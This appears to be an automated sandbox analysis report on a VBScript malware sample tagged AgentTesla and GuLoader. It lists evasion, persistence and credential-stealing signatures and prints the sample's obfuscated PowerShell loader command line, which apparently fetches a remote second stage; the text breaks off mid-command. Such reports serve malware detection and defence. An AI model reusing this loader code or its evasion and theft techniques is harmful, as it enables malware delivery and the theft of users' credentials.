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Windows
Analysis Report
Umulighed.vbs
Overview
General Information
| Sample name: | Umulighed.vbs |
| Analysis ID: | 1430859 |
| MD5: | 7a879857b435057c4825e33b280baa15 |
| SHA1: | d79ea735b0440d929bb6b046974e03915cb8bfd8 |
| SHA256: | d15c94ea77716eb5071b879c630b22509e0cee099bb7f9d3f823b8fb57f77d6d |
| Tags: | vbs |
| Infos: |   |
 | |
Detection
AgentTesla, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected AgentTesla
Yara detected GuLoader
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Found suspicious powershell code related to unpacking or dynamic code loading
Hides that the sample has been downloaded from the Internet (zone.identifier)
Hides threads from debuggers
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Suspicious Scan Loop Network
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 6764 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Umuli ghed.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 6912 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$Unbumped = 1;$Svve flyvers='S ubstrin';$ Svveflyver s+='g';Fun ction Disk en($Sthamr enes){$Hot elvrelsern e=$Sthamre nes.Length -$Unbumped ;For($Acne d=5; $Acne d -lt $Hot elvrelsern e; $Acned+ =(6)){$Pro fessorship s+=$Sthamr enes.$Svve flyvers.In voke($Acne d, $Unbump ed);}$Prof essorships ;}function Jots($Mis agent){& ($Jargone ns) ($Misa gent);}$Or thoarsenit e=Disken ' DyrenM.agi soFornozSp asmi Gamml compllJord saInt,a/ P roa5Gaest. Anu y0slib r ,ters(Un derWTulwai LyshanFa e ldIndsyoSt rmpw Snebs C.lam Indt NGu.naT Ta bu Balan1D ocum0Cowsh . Obl,0Rea p.; Ti.l X orinWcatac iFusi,nRoy a 6Bijug4C r.ck;Efter ReaffxBal sa6 va,b4. arco;Efter ,andlr Se k.vMilit: nint1fremk 2Beiji1Bl, nk.Uncre0 Hard) Albr A,tneG Ga .se Sl.dc s.inkUnder o argo/Kaz at2Banka0O uts,1impra 0Reson0Una pp1Bille0P ikke1eleme RveskF Mo thiTjenerU nma,ePriap fK.emto An paxActiv/U fo,d1 iru2 Pizzl1Tetr a.A,opt0Co un ';$Orlo ps=Disken 'ClaudUPhr ensIndhaeD rejerFolk. -Ru,drA Ca rpgHkasse Unwan rela tSuffu ';$ Horrify=Di sken 'R,ns ehEspaltIn odot.ranop Rent.sFe.i e:,rage/ K ast/Semicd OpfrsrTel, diFlydevHa zieeSpeck. Nickeg dtr o Bndso Dr iegHansilA s.emeTradu ..asshcBde t.oUnpramP ilus/Le.or uSpinncNon .i? FilieF yrsvxSpell pCam.soFra gmrTilbatS ocia=Attac dPouncoBje rgwDekorn. nterlUgeko oTalmsaGas trdc,pry&j ustiiVolum dL,tsv=Uds ,y1 CyliuI .rigj isto h IndilSog neMLnninup rveu_ laku BriksYUnco n5MangejAm tsr0 Ga.et TropiuLath evHackeHRa il,XO,phas OologbSkov tNMesse0 J ohnGInsemf tvivl5 Bes pxAntiacbi draC,untsL OestrQSc.m muMayorn Z e.eFRacem ';$Cachinn ate=Disken 'swine> K umy ';$Jar gonens=Dis ken 'Unp.u iCo.tre D. ngx aggr ' ;$Pessimis tisk='Blan ketten';Jo ts (Disken 'PredrSIn fuse Pr,nt Salgs-Co t iCDiffeoIn telnPaa lt Stboe env anKlaphtKv a m Tilbr- RedobPOp,a vaUn,xptCh lorh urr E r gsTForsl :Homet\ Im paBKlag,a ContdFlet. nKr,gsiOve rdnAfrungU ni.ie Isop rDesia.Act ustDuplixu dstytTiltu Ly.u-Fire hVMidshaFl ,kel.kspou BortkeEmbr y Noto$ Re suPUnblieE p,stsNonco smven iGar ewmIlldiiD ra,ts arti tPedomiSm lss HypokP e,fe;Folke ');Jots ( Disken 'Va catiBekenf Stin Inha l( Lym tOe noleAplods GonertU.en d-Noy npEa ta.a,ngent KommuhChar t JuicT Ri gs:tokom\C .uriB Jenk aInfardNob ilnFor.oiF ininnAaben gAffa eCla irr Nonr.A ge.tt til, x,iktotUnb la)Ova o{H undee nstm xFor oi on ant ,xsa}A and.;Tr,ld ');$Monot onises = D isken 'Mad oleBuzzwcP laceh Trom oSmede Aff il% otaaCu rcip Chrop Bre,dBest ta sidetPr incaLegwo% ,anke\Dypp eKKvg.elAf koraVoldsp Cotanj Kri saUnloqgSp aretH,alpe Proc.rkees dsErita.Da tapSDisple Radap Er, v Thomi& L inj&forko Al.neFalus c HydrhChi lioDetru E xone$Rekur